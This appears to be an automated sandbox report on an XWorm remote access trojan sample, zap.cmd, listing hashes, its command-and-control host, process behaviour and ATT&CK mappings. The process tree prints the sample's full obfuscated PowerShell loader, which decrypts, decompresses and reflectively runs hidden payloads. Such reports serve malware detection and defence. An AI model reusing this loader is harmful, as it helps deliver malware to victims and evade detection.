xworm | 152cbca849779c40fe6673458a9e25e4be0b080f7cb4db8cfee5a88cec74b1e5

General

Target

zap.cmd
Size

65KB
MD5

85c9311ae0014ac8bb98089d0bd51bdc
SHA1

5140e9beda6014b02df3c09f84a284f9c25532ca
SHA256

152cbca849779c40fe6673458a9e25e4be0b080f7cb4db8cfee5a88cec74b1e5
SHA512

f202a1e07afb444e5264cd28f7c0eedd55a3d002d14f989bf9fb065fd451be1df6197b5dcb61c616e8dbd1d3ba43cdc058192c89858c8bc292c199d5e8e9fb54
SSDEEP

768:std2pH1E6G5dMQzfwXLyVM0rAQiB/tp6UTGKxHHVpMGgJxhvtsQekLpzmWnfCB3Q:fpH1E6YrfDSF+UaaLtE1sQeAJ2Zlg9

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

hjxwrm5.duckdns.org:8896

Mutex

MSmkrgH8xVI2Dczk

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4776-30-0x0000019D69D60000-0x0000019D69D70000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

27 4776 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4776 powershell.exe
3100 powershell.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

4776 powershell.exe
4776 powershell.exe
3100 powershell.exe
3100 powershell.exe
4776 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4776 powershell.exe
Token: SeDebugPrivilege 3100 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

4776 powershell.exe

flow	pid	process
27	4776	powershell.exe

pid	process
4776	powershell.exe
3100	powershell.exe

pid	process
4776	powershell.exe
4776	powershell.exe
3100	powershell.exe
3100	powershell.exe
4776	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4776	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe

pid	process
4776	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 3684 wrote to memory of 4892	3684	cmd.exe	cmd.exe
PID 3684 wrote to memory of 4892	3684	cmd.exe	cmd.exe
PID 3684 wrote to memory of 4548	3684	cmd.exe	cmd.exe
PID 3684 wrote to memory of 4548	3684	cmd.exe	cmd.exe
PID 4548 wrote to memory of 2056	4548	cmd.exe	cmd.exe
PID 4548 wrote to memory of 2056	4548	cmd.exe	cmd.exe
PID 4548 wrote to memory of 4268	4548	cmd.exe	cmd.exe
PID 4548 wrote to memory of 4268	4548	cmd.exe	cmd.exe
PID 4548 wrote to memory of 4776	4548	cmd.exe	powershell.exe
PID 4548 wrote to memory of 4776	4548	cmd.exe	powershell.exe
PID 4776 wrote to memory of 3100	4776	powershell.exe	powershell.exe
PID 4776 wrote to memory of 3100	4776	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zap.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:3684

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
2⤵
PID:4892

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\zap.cmd
2⤵
- Suspicious use of WriteProcessMemory
PID:4548

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
3⤵
PID:2056

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\zap.cmd';$CMIY='ReazBIWdzBIWLzBIWinzBIWeszBIW'.Replace('zBIW', ''),'LXpsBoadXpsB'.Replace('XpsB', ''),'CXFxWopXFxWyTXFxWoXFxW'.Replace('XFxW', ''),'ChSZNiaSZNinSZNigSZNieExSZNiteSZNinSZNisiSZNionSZNi'.Replace('SZNi', ''),'DecehEzompehEzrehEzeehEzssehEz'.Replace('ehEz', ''),'EleFRIUmenFRIUtFRIUAFRIUtFRIU'.Replace('FRIU', ''),'InwXPBvowXPBkwXPBewXPB'.Replace('wXPB', ''),'GeAzGItCAzGIurAzGIrenAzGItAzGIPAzGIrocAzGIessAzGI'.Replace('AzGI', ''),'SWavzpWavzliWavztWavz'.Replace('Wavz', ''),'TrQRjDaQRjDnsQRjDfQRjDorQRjDmFiQRjDnQRjDaQRjDlQRjDBQRjDlQRjDoQRjDckQRjD'.Replace('QRjD', ''),'EQBEyntQBEyrQBEyyPQBEyoiQBEyntQBEy'.Replace('QBEy', ''),'CfrRUrefrRUatfrRUeDfrRUecrfrRUyptfrRUorfrRU'.Replace('frRU', ''),'FrostbEmBastbEse6stbE4SstbEtrstbEinstbEgstbE'.Replace('stbE', ''),'MlFlLailFlLnMlFlLolFlLdlFlLullFlLelFlL'.Replace('lFlL', '');powershell -w hidden;function iadMU($QWytb){$xHhyf=[System.Security.Cryptography.Aes]::Create();$xHhyf.Mode=[System.Security.Cryptography.CipherMode]::CBC;$xHhyf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$xHhyf.Key=[System.Convert]::($CMIY[12])('tgQIjCkwwZqAzylw/Tfv+EER7SzcL8PBsCAaLmr+5qk=');$xHhyf.IV=[System.Convert]::($CMIY[12])('pSyOatGwmEbEIOKwBSvE0g==');$DSRRZ=$xHhyf.($CMIY[11])();$Quqau=$DSRRZ.($CMIY[9])($QWytb,0,$QWytb.Length);$DSRRZ.Dispose();$xHhyf.Dispose();$Quqau;}function XBiYS($QWytb){$uSNme=New-Object System.IO.MemoryStream(,$QWytb);$CliDx=New-Object System.IO.MemoryStream;$gFTqG=New-Object System.IO.Compression.GZipStream($uSNme,[IO.Compression.CompressionMode]::($CMIY[4]));$gFTqG.($CMIY[2])($CliDx);$gFTqG.Dispose();$uSNme.Dispose();$CliDx.Dispose();$CliDx.ToArray();}$uMaFe=[System.IO.File]::($CMIY[0])([Console]::Title);$zflDv=XBiYS (iadMU ([Convert]::($CMIY[12])([System.Linq.Enumerable]::($CMIY[5])($uMaFe, 5).Substring(2))));$dcHsS=XBiYS (iadMU ([Convert]::($CMIY[12])([System.Linq.Enumerable]::($CMIY[5])($uMaFe, 6).Substring(2))));[System.Reflection.Assembly]::($CMIY[1])([byte[]]$dcHsS).($CMIY[10]).($CMIY[6])($null,$null);[System.Reflection.Assembly]::($CMIY[1])([byte[]]$zflDv).($CMIY[10]).($CMIY[6])($null,$null); "
3⤵
PID:4268

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -ep bypass
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3100

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rfdgqn0s.dxo.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4776-14-0x0000019D69FA0000-0x0000019D6A016000-memory.dmp

Filesize
472KB

Download
memory/4776-10-0x0000019D696D0000-0x0000019D696F2000-memory.dmp

Filesize
136KB

Download
memory/4776-11-0x00007FFE39C20000-0x00007FFE3A6E1000-memory.dmp

Filesize
10.8MB

Download
memory/4776-12-0x00007FFE39C20000-0x00007FFE3A6E1000-memory.dmp

Filesize
10.8MB

Download
memory/4776-13-0x0000019D69D70000-0x0000019D69DB4000-memory.dmp

Filesize
272KB

Download
memory/4776-0-0x00007FFE39C23000-0x00007FFE39C25000-memory.dmp

Filesize
8KB

Download
memory/4776-26-0x0000019D69D40000-0x0000019D69D52000-memory.dmp

Filesize
72KB

Download
memory/4776-27-0x00007FFE57BB0000-0x00007FFE57DA5000-memory.dmp

Filesize
2.0MB

Download
memory/4776-28-0x00007FFE57100000-0x00007FFE571BE000-memory.dmp

Filesize
760KB

Download
memory/4776-29-0x0000019D69D50000-0x0000019D69D5C000-memory.dmp

Filesize
48KB

Download
memory/4776-30-0x0000019D69D60000-0x0000019D69D70000-memory.dmp

Filesize
64KB

Download
memory/4776-32-0x00007FFE39C23000-0x00007FFE39C25000-memory.dmp

Filesize
8KB

Download
memory/4776-33-0x00007FFE39C20000-0x00007FFE3A6E1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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